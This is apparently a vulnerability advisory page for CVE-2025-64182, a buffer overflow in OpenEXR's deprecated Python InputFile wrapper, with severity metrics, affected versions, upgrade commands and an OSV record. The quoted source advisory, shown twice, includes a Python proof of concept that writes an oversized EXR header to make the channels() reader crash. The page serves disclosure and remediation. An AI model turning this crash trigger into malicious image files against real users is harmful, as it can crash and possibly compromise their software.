CVE-2025-64182: OpenEXR OpenEXR Has Buffer Overflow Vulnerability

MODERATE
Advisory Identifier: GHSA-vh63-9mqx-wmjr
CVSS 7.8
CWE-120
Published
Advisory Summary

CVE-2025-64182 is a MODERATE (CVSS 7.8) openexr has buffer overflow vulnerability (CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')) affecting OpenEXR libraries in the PyPI ecosystem. The issue involves openexr has buffer overflow in pyopenexr_old's channels() and channel(). Remediation is available by upgrading affected packages to version 3.2.5, 3.3.6, 3.4.3.

CVE-2025-64182 at a Glance

CVE Identifier CVE-2025-64182
GHSA Identifier GHSA-vh63-9mqx-wmjr
Severity MODERATE
CVSS v3.1 Base Score 7.8
CWE Classification CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
Affected Product OpenEXR
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2025-64182

To remediate this vulnerability, upgrade all affected OpenEXR dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

OpenEXR fixed: 3.2.5
pip install OpenEXR>=3.2.5
OpenEXR fixed: 3.3.6
pip install OpenEXR>=3.3.6
OpenEXR fixed: 3.4.3
pip install OpenEXR>=3.4.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show OpenEXR

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2025-64182, inspect your installed packages using pip:

pip show OpenEXR

Analyze the terminal output to locate any version of OpenEXR in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.2.5), your application is affected.

Note: The pip show OpenEXR command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow'), where the product copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer. In OpenEXR, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A memory safety bug in the legacy OpenEXR Python adapter (the deprecated OpenEXR.InputFile wrapper) allow crashes and likely code execution when opening attacker-controlled EXR files or when passing crafted Python objects. Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit). This bug was found with [ZeroPath](https://zeropath.com/?utm_source=joshua.hu). ### Details Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit), around [here](https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L528-L536). - In `channel()`: - Width and height are derived from the header dataWindow using `int`. - `typeSize` is a `size_t`. The buffer size is computed as `typeSize * width * height` with no bounds checks. - The result is passed to `PyString_FromStringAndSize(NULL, size)` which maps to `PyBytes_FromStringAndSize`. That function expects `Py_ssize_t`. If the product overflows or exceeds `PY_SSIZE_T_MAX`, allocation fails or the value wraps. - The return value is not checked. The code immediately calls `PyString_AsString(r)` and proceeds to build a `FrameBuffer` and calls `readPixels(miny, maxy)`. - On 64 bit: `PyBytes_FromStringAndSize` returns NULL, the wrapper dereferences NULL and crashes.\ On 32 bit: the multiplication can wrap to a small positive size, producing a too-small allocation, after which `readPixels` writes `typeSize * width` bytes per scanline for `height` lines into that buffer, causing a heap overflow. - In `channels()` the same pattern appears for each requested channel. It also ignores per-channel subsampling when computing the allocation and when inserting the `Slice` it hardcodes `xSampling=1, ySampling=1`. If a file actually has subsampled channels this makes the stride and allocation inconsistent, which can also lead to over or under writes. ### PoC ```python # write_big_header_then_crash.py import OpenEXR, Imath # OpenEXR sanity clamp for header coords is about INT_MAX/2 - 1 INT_MAX = (1 << 31) - 1 MAX_COORD = (INT_MAX // 2) - 1 # 1073741822 # Choose a scanline width that keeps row-bytes < 2^31 # 400,000,000 * 4 bytes = ~1.6 GB per scanline, which many codecs accept WIDTH = min(400_000_000, MAX_COORD + 1) # pixels HEIGHT = 64 # small height keeps the file tiny # Build windows from pixel counts dw = Imath.Box2i(Imath.V2i(0, 0), Imath.V2i(WIDTH - 1, HEIGHT - 1)) # Robustly set NO_COMPRESSION across enum naming differences def no_compression(): # Try common names, else fallback to numeric 0 C = Imath.Compression for name in ("NO_COMPRESSION", "NONE", "NO_COMPRESSION_ENUM"): if hasattr(C, name): return Imath.Compression(getattr(C, name)) return Imath.Compression(0) hdr = { "dataWindow": dw, "displayWindow": dw, "channels": {"R": Imath.Channel(Imath.PixelType(Imath.PixelType.FLOAT))}, "compression": no_compression(), "lineOrder": Imath.LineOrder(Imath.LineOrder.INCREASING_Y), } # Write just the header (no pixels) out = OpenEXR.OutputFile("big_header.exr", hdr) out.close() # Now trigger the legacy bug: huge allocation request returns NULL, code fails to check f = OpenEXR.InputFile("big_header.exr") print("Triggering crash...") f.channels(["R"]) ``` ``` $ python3 poc.py Triggering crash... libc++abi: terminating due to uncaught exception of type Iex_3_4::InputExc: Unable to query scanline information Abort trap: 6 python3 poc.py ``` ### Impact Typical memory stuff.

CVE-2025-64182 Affected OpenEXR Versions

3 component(s)
Fixed Versions:
3.2.53.3.63.4.3
Product / Package Ecosystem Affected Versions Fixed Version
OpenEXR
PyPI
≥ 3.2.0
< 3.2.5
3.2.5
OpenEXR
PyPI
≥ 3.3.0
< 3.3.6
3.3.6
OpenEXR
PyPI
≥ 3.4.0
< 3.4.3
3.4.3

References

Frequently Asked Questions

What is CVE-2025-64182?
CVE-2025-64182 is a security vulnerability in OpenEXR involving OpenEXR has buffer overflow in PyOpenEXR_old's channels() and channel() under CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow').
Which OpenEXR versions are affected?
Affected versions include releases prior to 3.2.5, 3.3.6, 3.4.3 across affected packages: OpenEXR.
What version fixes CVE-2025-64182?
Upgrading to 3.2.5, 3.3.6, 3.4.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is OpenEXR affected?
Yes, OpenEXR is affected in releases prior to 3.2.5, 3.3.6, 3.4.3. Upgrade your dependency to 3.2.5, 3.3.6, 3.4.3 or later.
What is the CVSS score of CVE-2025-64182?
CVE-2025-64182 has a CVSS v3.1 base score of 7.8 (MODERATE) with vector string CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2025-64182?
CVE-2025-64182 is classified under CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') (The product copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer.).
How can I check PyPI dependencies for CVE-2025-64182?
Run the dependency tree command: 'pip show OpenEXR'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vh63-9mqx-wmjr",
  "modified" : "2026-04-06T17:51:19Z",
  "published" : "2026-04-06T17:51:19Z",
  "aliases" : [ "CVE-2025-64182" ],
  "summary" : "OpenEXR has buffer overflow in PyOpenEXR_old's channels() and channel()",
  "details" : "### Summary\n\nA memory safety bug in the legacy OpenEXR Python adapter (the deprecated OpenEXR.InputFile wrapper) allow crashes and likely code execution when opening attacker-controlled EXR files or when passing crafted Python objects.\n\nInteger overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit).\n\nThis bug was found with [ZeroPath](https://zeropath.com/?utm_source=joshua.hu).\n\n### Details\n\nInteger overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit), around [here](https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L528-L536).\n\n-   In `channel()`:\n\n    -   Width and height are derived from the header dataWindow using `int`.\n\n    -   `typeSize` is a `size_t`. The buffer size is computed as `typeSize * width * height` with no bounds checks.\n\n    -   The result is passed to `PyString_FromStringAndSize(NULL, size)` which maps to `PyBytes_FromStringAndSize`. That function expects `Py_ssize_t`. If the product overflows or exceeds `PY_SSIZE_T_MAX`, allocation fails or the value wraps.\n\n    -   The return value is not checked. The code immediately calls `PyString_AsString(r)` and proceeds to build a `FrameBuffer` and calls `readPixels(miny, maxy)`.\n\n    -   On 64 bit: `PyBytes_FromStringAndSize` returns NULL, the wrapper dereferences NULL and crashes.\\\n        On 32 bit: the multiplication can wrap to a small positive size, producing a too-small allocation, after which `readPixels` writes `typeSize * width` bytes per scanline for `height` lines into that buffer, causing a heap overflow.\n\n-   In `channels()` the same pattern appears for each requested channel. It also ignores per-channel subsampling when computing the allocation and when inserting the `Slice` it hardcodes `xSampling=1, ySampling=1`. If a file actually has subsampled channels this makes the stride and allocation inconsistent, which can also lead to over or under writes.\n\n### PoC\n\n```python\n# write_big_header_then_crash.py\nimport OpenEXR, Imath\n\n# OpenEXR sanity clamp for header coords is about INT_MAX/2 - 1\nINT_MAX = (1 << 31) - 1\nMAX_COORD = (INT_MAX // 2) - 1  # 1073741822\n\n# Choose a scanline width that keeps row-bytes < 2^31\n# 400,000,000 * 4 bytes = ~1.6 GB per scanline, which many codecs accept\nWIDTH = min(400_000_000, MAX_COORD + 1)   # pixels\nHEIGHT = 64                                # small height keeps the file tiny\n\n# Build windows from pixel counts\ndw = Imath.Box2i(Imath.V2i(0, 0), Imath.V2i(WIDTH - 1, HEIGHT - 1))\n\n# Robustly set NO_COMPRESSION across enum naming differences\ndef no_compression():\n    # Try common names, else fallback to numeric 0\n    C = Imath.Compression\n    for name in (\"NO_COMPRESSION\", \"NONE\", \"NO_COMPRESSION_ENUM\"):\n        if hasattr(C, name):\n            return Imath.Compression(getattr(C, name))\n    return Imath.Compression(0)\n\nhdr = {\n    \"dataWindow\": dw,\n    \"displayWindow\": dw,\n    \"channels\": {\"R\": Imath.Channel(Imath.PixelType(Imath.PixelType.FLOAT))},\n    \"compression\": no_compression(),\n    \"lineOrder\": Imath.LineOrder(Imath.LineOrder.INCREASING_Y),\n}\n\n# Write just the header (no pixels)\nout = OpenEXR.OutputFile(\"big_header.exr\", hdr)\nout.close()\n\n# Now trigger the legacy bug: huge allocation request returns NULL, code fails to check\nf = OpenEXR.InputFile(\"big_header.exr\")\nprint(\"Triggering crash...\")\nf.channels([\"R\"])\n```\n\n```\n$ python3 poc.py \nTriggering crash...\nlibc++abi: terminating due to uncaught exception of type Iex_3_4::InputExc: Unable to query scanline information\nAbort trap: 6              python3 poc.py\n```\n\n### Impact\nTypical memory stuff.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "OpenEXR"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.2.0"
      }, {
        "fixed" : "3.2.5"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "OpenEXR"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.3.0"
      }, {
        "fixed" : "3.3.6"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "OpenEXR"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.4.0"
      }, {
        "fixed" : "3.4.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-vh63-9mqx-wmjr"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-64182"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/AcademySoftwareFoundation/openexr"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L528-L536"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-120" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-06T17:51:19Z",
    "nvd_published_at" : "2025-11-10T22:15:37Z"
  }
}